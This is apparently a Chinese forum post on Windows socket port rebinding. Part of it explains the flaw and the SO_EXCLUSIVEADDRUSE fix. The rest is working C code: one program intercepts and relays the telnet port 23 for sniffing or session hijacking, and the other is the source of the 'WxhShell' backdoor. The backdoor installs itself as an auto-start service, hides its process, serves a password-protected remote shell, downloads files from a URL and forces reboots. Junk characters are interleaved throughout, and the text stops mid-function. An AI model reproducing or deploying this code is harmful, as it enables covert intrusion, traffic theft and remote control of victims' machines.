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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &I(|aZx?J  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #gN{8Yk>  
l3g6y 9;  
  saddr.sin_family = AF_INET; 30H:x@='9  
%\b5)p  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6AQ;P  
#-lk=>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [/#n+sz.A  
}Xc|Z.6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 CKBi-q FH  
 Mx r#  
  这意味着什么?意味着可以进行如下的攻击: {iQ<`,)Y  
/asyj="N7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &H4UVI  
u|:VQzPd-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #kb(2Td  
!-MG"\#Wq  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9q8 rf\&  
|x5 w;=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  W' 2)$e  
S'@"a%EV  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 kT$4X0}  
H>7!+&M  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 SiBbz4  
*E. 2R{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 '6WDs]\  
rLKDeB  
  #include WG}QLcP  
  #include @pS[_!EqYz  
  #include d?{2A84S  
  #include    '\_)\`a|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   fglZjT  
  int main() T8m%_U#b  
  { ZRQPOy  
  WORD wVersionRequested; !CMN/=  
  DWORD ret; sN?:9J8  
  WSADATA wsaData; YJL=|v  
  BOOL val; X1'Ze,34  
  SOCKADDR_IN saddr; ud#8`/!mq  
  SOCKADDR_IN scaddr; &1u ?W%(Px  
  int err; :<(<tz7dj  
  SOCKET s; *xjIl<`pK  
  SOCKET sc; ~Igo 8ykl  
  int caddsize; RI*%\~6t?  
  HANDLE mt; L"-&B$B:  
  DWORD tid;   ./g#<  
  wVersionRequested = MAKEWORD( 2, 2 ); 7r;A wa  
  err = WSAStartup( wVersionRequested, &wsaData ); '{u#:TTj  
  if ( err != 0 ) { kg@J.   
  printf("error!WSAStartup failed!\n"); O71rLk;  
  return -1; T6,lk1S'=  
  } e.kt]l  
  saddr.sin_family = AF_INET; {r}}X@|5  
   v}mmY>M%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 c]&VUWQ  
W2B=%`sC  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *Xnq1_K}  
  saddr.sin_port = htons(23); ?-Z:N`YP  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KWH  
  { Arv8P P^'  
  printf("error!socket failed!\n"); !'MD8  
  return -1; nc{ <v  
  } hWu)0t  
  val = TRUE; 3gh^a;uC  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 OlJj|?z $  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]a%Kn]HI&2  
  { K;ML'  
  printf("error!setsockopt failed!\n"); ;$/G T  
  return -1; ujh4cp  
  } &tOD  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; g!8lW   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 yLX#: nm  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .WPqK >79|  
Bx)&MYY}[[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4%7*tVG  
  { -XyuA:pxx  
  ret=GetLastError(); .KSGma6]  
  printf("error!bind failed!\n"); 6};oLnO  
  return -1; ou-;k }  
  } Qw-qcG  
  listen(s,2); Dw[Q,SE   
  while(1) qTGy\i  
  { ZSSgc0u^?  
  caddsize = sizeof(scaddr); K7Vr$,p  
  //接受连接请求 D-!%L<<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0A9cu,ZdUR  
  if(sc!=INVALID_SOCKET) ~e8n yB  
  { /km3L7L%R  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *X-$* ~J0  
  if(mt==NULL) "F}Ip&]hAG  
  { Oe!&Jma*>  
  printf("Thread Creat Failed!\n"); gD\}CxtG  
  break; DIAP2LR ?  
  } <i6MbCB  
  } ]>o2P cb;  
  CloseHandle(mt); 3Cl9,Z"&6$  
  } ZIl<y{  
  closesocket(s);  gk#rA/x  
  WSACleanup(); f+Go8Lg=M  
  return 0; a40BisrD~6  
  }   >KFJ1}b|3  
  DWORD WINAPI ClientThread(LPVOID lpParam) F)w83[5_d  
  { 8IH gsW";  
  SOCKET ss = (SOCKET)lpParam; c53`E U  
  SOCKET sc; "U.=A7r  
  unsigned char buf[4096]; :JIPF=]fc  
  SOCKADDR_IN saddr; *ZGN!0/  
  long num; J|IDnCK  
  DWORD val; do,X{\  
  DWORD ret; ;p ('cwU%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 S@)bl  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   XEEbmIO*<9  
  saddr.sin_family = AF_INET; OEW,[d  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); H/&Q,9sU21  
  saddr.sin_port = htons(23); buXG32;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y c kbc6F  
  { +GS=zNw#  
  printf("error!socket failed!\n"); ;gnr\C*G  
  return -1; W!X]t)Ow  
  } c,wU?8Nc|$  
  val = 100; Sq,ty{j2%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Qg!*=<b  
  { zY+Et.lg]^  
  ret = GetLastError(); ]Dg0@Y  
  return -1; bn35f<+  
  } M(uB ;Te  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Gf\_WNrSE+  
  { $O8V!R*  
  ret = GetLastError(); v!xrUyN~m  
  return -1; ~S!kn1&O  
  } )}!'VIe^!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T7~v40jn|  
  { AUde_ 1hi  
  printf("error!socket connect failed!\n"); G |^X:+  
  closesocket(sc); |GQ$UB  
  closesocket(ss); |lwN!KVQ,  
  return -1; !ei20@  
  } fZ fiiE~7J  
  while(1) M3 u8NRd5|  
  { %U7f9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ew$Z5N:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 x?'%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 q?4uH;h:^G  
  num = recv(ss,buf,4096,0); A5ID I<a  
  if(num>0) Uc0'XPo3I  
  send(sc,buf,num,0); 8v 1%H8  
  else if(num==0) Z-a(3&  
  break; yZ$;O0f&&  
  num = recv(sc,buf,4096,0); 7F:;3c  
  if(num>0) -%l, Zd9  
  send(ss,buf,num,0); i%8&g2  
  else if(num==0) qL.Y_,[[  
  break; J9.p8A^^2  
  } E(_I3mftm  
  closesocket(ss); z{L;)U B^  
  closesocket(sc); zEfD{I  
  return 0 ; _ n4ma  
  } F@bCm+z-  
K<JP9t6Qd  
b'5pQ2Mq  
========================================================== {VG[m@  
#%"TU,[+  
下边附上一个代码,,WXhSHELL UO<claV  
R7c)C8/~  
========================================================== c[lob{,  
Ki6.'#%7  
#include "stdafx.h" NV4W2thYo  
/,Id_TTCO  
#include <stdio.h> 'a?.X _t  
#include <string.h> $ow`)?sh  
#include <windows.h> !bQ &n  
#include <winsock2.h> F)ld@Ydk=  
#include <winsvc.h> mm<iT59  
#include <urlmon.h> <# r.}T.l  
7h/Q;P5  
#pragma comment (lib, "Ws2_32.lib") 0]W]#X4A  
#pragma comment (lib, "urlmon.lib") +STzG /9#  
uN3J)@;_  
#define MAX_USER   100 // 最大客户端连接数 `1<3Hu_  
#define BUF_SOCK   200 // sock buffer vcU\xk")  
#define KEY_BUFF   255 // 输入 buffer 6XK`=ss?  
%P,^}h7  
#define REBOOT     0   // 重启 aB6LAb2z;T  
#define SHUTDOWN   1   // 关机 91d`LsP  
v^_]W3K  
#define DEF_PORT   5000 // 监听端口 bvS\P!m\c  
C,vc aC?  
#define REG_LEN     16   // 注册表键长度 7d8qs%nA  
#define SVC_LEN     80   // NT服务名长度 S{7ik,Gdg  
pbxcsA\  
// 从dll定义API Lj-&TO}OZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aq/Y}s?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); DB'KIw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x0$:"68PW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6ilC#yyp  
{59VS Nl  
// wxhshell配置信息 T4Gw\Z%  
struct WSCFG { 4qXRDsbCf  
  int ws_port;         // 监听端口 '=G Ce%A  
  char ws_passstr[REG_LEN]; // 口令 Rn_W|"  
  int ws_autoins;       // 安装标记, 1=yes 0=no lT!$\E$1   
  char ws_regname[REG_LEN]; // 注册表键名 x&oBO{LNK,  
  char ws_svcname[REG_LEN]; // 服务名 :fKz^@mY4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (DP9& b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 MGyB8(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C|;Mhe'r=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +Z~!n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _JIUds5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4yZ+,hqJ<9  
l%U_iqL&  
}; KM(9& 1/  
jP.b oj_u*  
// default Wxhshell configuration @&xaaqQ-  
struct WSCFG wscfg={DEF_PORT, L0|hc  
    "xuhuanlingzhe", c1AG3Nb  
    1, o``>sBZOq  
    "Wxhshell", /A))"D  
    "Wxhshell", >AX~c jo  
            "WxhShell Service", ;(0$~O$3u  
    "Wrsky Windows CmdShell Service", AD%D ,l  
    "Please Input Your Password: ", bKMR7&e.Ep  
  1, ~TFYlV  
  "http://www.wrsky.com/wxhshell.exe", bd P,Zqd  
  "Wxhshell.exe" FO>(QLlH  
    }; mS~ ]I$  
UK_aqB  
// 消息定义模块 "zIq)PY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D62 NU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ZMMo6;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .A!0.M|  
char *msg_ws_ext="\n\rExit."; ZWhmO=b!  
char *msg_ws_end="\n\rQuit."; ytV)!xe  
char *msg_ws_boot="\n\rReboot..."; qM!f   
char *msg_ws_poff="\n\rShutdown..."; |}p}`Mb)a  
char *msg_ws_down="\n\rSave to "; ~& WN)r'4y  
[H:GKhPC`  
char *msg_ws_err="\n\rErr!"; sqpOS!]  
char *msg_ws_ok="\n\rOK!"; hB}h-i(u  
]baaOD$Z  
char ExeFile[MAX_PATH]; ]F* a PV  
int nUser = 0; m_Ac/ct f  
HANDLE handles[MAX_USER]; Ao,!z  
int OsIsNt; O][Nl^dl  
[+MX$y  
SERVICE_STATUS       serviceStatus; Xz .Y-5)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $K_YC~  
2 ssj(Qo  
// 函数声明 DMcxa.Sd!  
int Install(void); t-7U1B}=<C  
int Uninstall(void); @-&(TRbZo  
int DownloadFile(char *sURL, SOCKET wsh); 1.95 ^8  
int Boot(int flag); eBC%2TF  
void HideProc(void); YaNH.$.:  
int GetOsVer(void); #W%)$k c  
int Wxhshell(SOCKET wsl); L}jF#*Q%  
void TalkWithClient(void *cs); vG<pc_ak  
int CmdShell(SOCKET sock); ?9gTk \s?R  
int StartFromService(void); d1TdH s\  
int StartWxhshell(LPSTR lpCmdLine); Jg|cvu-+  
s\C8t0C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); it\DZGsg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #;"D)C  
:IR9=nhS]  
// 数据结构和表定义 iA3>X-x   
SERVICE_TABLE_ENTRY DispatchTable[] = d=Df.H+3  
{ }uI7 \\S  
{wscfg.ws_svcname, NTServiceMain}, #3Ej0"A@-B  
{NULL, NULL} + fd@K  
}; K%(XgXb(</  
GKyG #Fl  
// 自我安装 Ed^uA+D  
int Install(void) qQxA@kdd  
{ V@ _-H gg  
  char svExeFile[MAX_PATH]; 7{An@hNh  
  HKEY key; LZc$:<J<6  
  strcpy(svExeFile,ExeFile); lTr*'fX  
.-KtB(t  
// 如果是win9x系统,修改注册表设为自启动 ]KXMGH_  
if(!OsIsNt) { S'!q}|7X 3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =%3b@}%HqS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `e $n$Bh  
  RegCloseKey(key); ![@T iM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 45+%K@@x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2\nN4WL 5.  
  RegCloseKey(key); \/*Nf?;  
  return 0; Wyq~:vU.S  
    } 3xzkZ8]/  
  } fzS`dL5,W  
} :/v,r=Y9p  
else { cZgMA8 F  
a4T~\\,dZ>  
// 如果是NT以上系统,安装为系统服务 ?AnjD8i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BeI;#m0  
if (schSCManager!=0) N~):c2Kp<9  
{ Oz&+{ c  
  SC_HANDLE schService = CreateService SY'2A)  
  ( #`La|a.-  
  schSCManager, V\6(d  
  wscfg.ws_svcname, <8rgtu!VU  
  wscfg.ws_svcdisp, G` ,u40a  
  SERVICE_ALL_ACCESS, h@~:(:zU$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Il{^ j6  
  SERVICE_AUTO_START, Sk/#J!T8{  
  SERVICE_ERROR_NORMAL, (S  k#x  
  svExeFile, ]^:hyO K  
  NULL, @8=vFP'  
  NULL, 6P~aW  
  NULL, gwSN>oj &  
  NULL, /Fv/oY  
  NULL 0%s3Mp6H  
  ); L`UG=7r q  
  if (schService!=0) Q PFeBl  
  { <t{?7_ 8  
  CloseServiceHandle(schService); s) Cpi  
  CloseServiceHandle(schSCManager); JBR[; zM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'ySljo*It  
  strcat(svExeFile,wscfg.ws_svcname); ~n[b^b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?wd|G4.Vo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I?a8h`WS+  
  RegCloseKey(key); ,AH0*L  
  return 0; 4K9Rpm  
    } 'aD6>8/Hj  
  } nW4Vct  
  CloseServiceHandle(schSCManager); z,{e]MB)M  
} N5nvL)a~  
} >dpbCPJ9[  
y(bsCsV&  
return 1; yjEI/9_  
} $ph0ag+  
[kbC'Eh*  
// 自我卸载 -IBO5;2_  
int Uninstall(void) x*.Ye 5Jb  
{ Yd' H+r5b  
  HKEY key; ajn-KG!A  
}A{_L6qx  
if(!OsIsNt) { -uWKY6 :5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,>;!%Ui/p  
  RegDeleteValue(key,wscfg.ws_regname); 24|  
  RegCloseKey(key); TH|?X0b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N-[n\}'  
  RegDeleteValue(key,wscfg.ws_regname); "JkZJ#  
  RegCloseKey(key); ZCm1+Y$  
  return 0; 31~hlp;  
  } wms1IV%;  
} 2~f6~\4GL+  
} I[#U`9Dt  
else { 9Z&?R++?  
/ZHO>LNN|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ||uZ bP@  
if (schSCManager!=0) h4f ~5- Y  
{ *^'wFbaBO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ezp<@'0ZT  
  if (schService!=0) !#q{Z>H`  
  { hM~eJv  
  if(DeleteService(schService)!=0) { ><[| G9  
  CloseServiceHandle(schService); B4Q79gEh=  
  CloseServiceHandle(schSCManager); Fse['O~  
  return 0; eY T8$  
  } 9"~9hOEct  
  CloseServiceHandle(schService); (]2<?x*  
  } O -G1})$  
  CloseServiceHandle(schSCManager); TWUUvj`.  
} AzZJG v ]H  
} 1e/L\Y=m  
l '/N3&5  
return 1; 3[VWTq)D=  
} [*<.?9n)or  
[*Q-nZ/L  
// 从指定url下载文件 E *BSfn&i  
int DownloadFile(char *sURL, SOCKET wsh) -Q#o)o  
{ HOfF"QAR$  
  HRESULT hr; qNpu}\L  
char seps[]= "/"; N[pZIH5ho=  
char *token; 5.w iTy  
char *file; lr WLN  
char myURL[MAX_PATH]; 3 4SA~5  
char myFILE[MAX_PATH]; [g#s&bF  
sxo;/~.p  
strcpy(myURL,sURL); u+i(";\  
  token=strtok(myURL,seps); lX"bN=E?!  
  while(token!=NULL) /|?F)%v\  
  { |H 8^  
    file=token; I~)cYl:|G  
  token=strtok(NULL,seps); \^LWCp,C"  
  } +semfZ)  
&pM'$}T*  
GetCurrentDirectory(MAX_PATH,myFILE); P*YK9Hl<  
strcat(myFILE, "\\"); \m f*ge\  
strcat(myFILE, file); "A;s56}'&  
  send(wsh,myFILE,strlen(myFILE),0); 2JVxzj<~`  
send(wsh,"...",3,0); :j@8L.<U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (3VGaUlx  
  if(hr==S_OK) ),=@q+{E{  
return 0; 1Y#HcW&  
else 3[r";Wt#  
return 1; Z'Q*L?E8M  
tjj^O%SV<  
} & 1_U1  
FPF6H puV  
// 系统电源模块 g`n;R  
int Boot(int flag) ]*3:DU  
{ +dw!:P &  
  HANDLE hToken; %hc'dZ  
  TOKEN_PRIVILEGES tkp; 1* ^'\W.  
0z7L+2#b^  
  if(OsIsNt) { `B:"6nW6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o-z &7@3Hu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P? (vW&B  
    tkp.PrivilegeCount = 1; 3;-^YG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (bv,02  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hL!QLiF:  
if(flag==REBOOT) { zmiZ]uq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^P?vkO"pB?  
  return 0; WS:5MI,OL  
} W`rMtzL5  
else { *"cD.)]#2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XKqK<!F  
  return 0; OQScW2a&  
} Q`A6(y/s?  
  } 2+.18"rvi  
  else { "ZT.k5Z  
if(flag==REBOOT) { _y vLu j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OR4!YVVQ  
  return 0; j)by}}  
} J R$r!hX  
else { %ucjMa>t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M4KWN'  
  return 0; \G>ZkgU  
} iY~rne"l  
} O4L#jBa+  
{U"^UuU]  
return 1; Qf xH9_  
} ^:u?ye;  
nWJ:=JQ i"  
// win9x进程隐藏模块 Tfx :"u  
void HideProc(void) 5f^>b\8+ |  
{ zN{JJ3-  
RJ~ %0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gg^1b77hT  
  if ( hKernel != NULL ) DG[%Nhle  
  { # ??%B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PB9/m-\H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uP@\#/4u  
    FreeLibrary(hKernel); 2r&R"B1`(  
  } A\AT0th  
(UYF%MA}"  
return; 0 [8=c&F  
} aDL*W@1S  
*hdC?m. _  
// 获取操作系统版本 R^n@.^8s  
int GetOsVer(void) {v` 2sB  
{ bk<FL6z z  
  OSVERSIONINFO winfo; KrcgIB8X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A6{b?aQ  
  GetVersionEx(&winfo); A}5fCx.{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "e6|"w@8  
  return 1; iiG f'@/  
  else 8K{[2O7i)  
  return 0; 1A<,TFg  
} yGj.)$1},@  
;o-yQmdh  
// 客户端句柄模块 xHo&[{  
int Wxhshell(SOCKET wsl) Pc_VY>Ty  
{ JOb MZA$  
  SOCKET wsh; }BJX/, H,  
  struct sockaddr_in client; X!tf#tl  
  DWORD myID; &:5\"b  
tX%`#hb?s  
  while(nUser<MAX_USER) k?6z_vu  
{ ROc`BH=  
  int nSize=sizeof(client); -#s [F S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DmqSQA  
  if(wsh==INVALID_SOCKET) return 1; . +  
PftxqJz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (Yb[)m>fQ}  
if(handles[nUser]==0) LF*&(NC  
  closesocket(wsh); PdeBDFWD  
else Dyg?F )6  
  nUser++; 831JwS R  
  } v jT( Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3c3OG.H$8  
wJ+Aw  
  return 0; Ysi  g T  
} -JT/ 9IQ  
'h1b1,b~  
// 关闭 socket T=Z.TG|lIx  
void CloseIt(SOCKET wsh) v2+!1r7@  
{ ihCIh6  
closesocket(wsh); 58V[mlW)O0  
nUser--; nBItO~l  
ExitThread(0); XORk!m|  
} x=Hndx^  
I+(/TP  
// 客户端请求句柄 ZD>a>]  
void TalkWithClient(void *cs) TX [%(ft  
{ q MYe{{r  
8, "yNq  
  SOCKET wsh=(SOCKET)cs; Tr&M~Lgb)  
  char pwd[SVC_LEN]; O,@~L$a:YZ  
  char cmd[KEY_BUFF]; I=DxRgt  
char chr[1]; 7q =G&e7  
int i,j; g'$tj&Vk:  
bG F7Zh9  
  while (nUser < MAX_USER) { g\SrO {*  
,XkGe   
if(wscfg.ws_passstr) { 9W ^xlid6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~|ss*`CT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "= / f$Xf  
  //ZeroMemory(pwd,KEY_BUFF); _aWl]I){5  
      i=0; ;)AfB#:d  
  while(i<SVC_LEN) { 0\9K3  
5ExDB6Bx@y  
  // 设置超时 Px FWJ?=  
  fd_set FdRead; DL'iS  
  struct timeval TimeOut; 8flOq"uK^  
  FD_ZERO(&FdRead); [U@; \V$  
  FD_SET(wsh,&FdRead); UBv@+\Y8m  
  TimeOut.tv_sec=8; v *-0M  
  TimeOut.tv_usec=0; @%ip7Y]e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); RoGwK*j0+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W,^W^:m-x  
-_ C#wtC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G q<X4C#|  
  pwd=chr[0]; D]G)j  
  if(chr[0]==0xd || chr[0]==0xa) { ao_4mSB  
  pwd=0; jnB~sbyA  
  break; KJ2Pb"s  
  } WI> P-D  
  i++; `o]g~AKX  
    } #|GSQJ$F)`  
e=vsuqGT  
  // 如果是非法用户,关闭 socket eB> s=}|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gKz(=  
} $d S@y+  
zq+o+o>xo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u9+kLepOT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5irwz4.4  
FGWN}&K  
while(1) { 94sk kEj  
CI U1R;  
  ZeroMemory(cmd,KEY_BUFF); (" ~ DJ=  
4(6b(]G'#  
      // 自动支持客户端 telnet标准   P O :"B6  
  j=0; W14F  
  while(j<KEY_BUFF) { ,GWNL m\5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZF7IL  
  cmd[j]=chr[0]; mE`kjmX{E  
  if(chr[0]==0xa || chr[0]==0xd) { RlT3Iz;  
  cmd[j]=0; ML;*e"$  
  break; OU5*9_7.  
  } jHN +5=l  
  j++; -HSs^dP`  
    } #U8rO;$  
yz8mP3"c:o  
  // 下载文件 J^R=dT!  
  if(strstr(cmd,"http://")) { _Z5Mw+=19  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \`V;z~@iA  
  if(DownloadFile(cmd,wsh)) # mize  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H]4Hj  
  else KL$bqgc(p3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^7zu<lX  
  } 1I@8A>2^OX  
  else { N7E$G{TT  
 |@NiW\O  
    switch(cmd[0]) { T91moRv  
  niB `2 J  
  // 帮助 ARcB'z\r  
  case '?': { lL1k.& |5m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pym!U@$t  
    break; F}Vr:~  
  } `Al;vVMRO  
  // 安装 ctE\ q  
  case 'i': { AJ#Nenmj  
    if(Install()) D}8EERb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g&/T*L  
    else aQ :5d3m0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y.KO :P?5{  
    break; rZ8`sIWQt  
    } ODZ|bN0>  
  // 卸载 W9NX=gE4  
  case 'r': { lHgs;>U$  
    if(Uninstall()) rE@T79"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =zQN[  
    else ;WR,eI..  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9tF9T\jW  
    break;  H"A7Zo  
    }  : ]C~gc  
  // 显示 wxhshell 所在路径 RKPO#qju\F  
  case 'p': { Ua!aaq&  
    char svExeFile[MAX_PATH]; 6@DF  
    strcpy(svExeFile,"\n\r"); /Q,mJ.CnSR  
      strcat(svExeFile,ExeFile); J:V?EE,\-  
        send(wsh,svExeFile,strlen(svExeFile),0); Sa2>`":d  
    break; 6{ =\7AY  
    } /SYw;<=  
  // 重启 )GHq/:1W  
  case 'b': { <&C]s b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); iY21Ql%  
    if(Boot(REBOOT)) J2:y6kGj>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9B;{]c  
    else { lg^Z*&(  
    closesocket(wsh); kc0E%odF.v  
    ExitThread(0); |i++0BU  
    } 6}r`/?"A1  
    break; iLSr*` o  
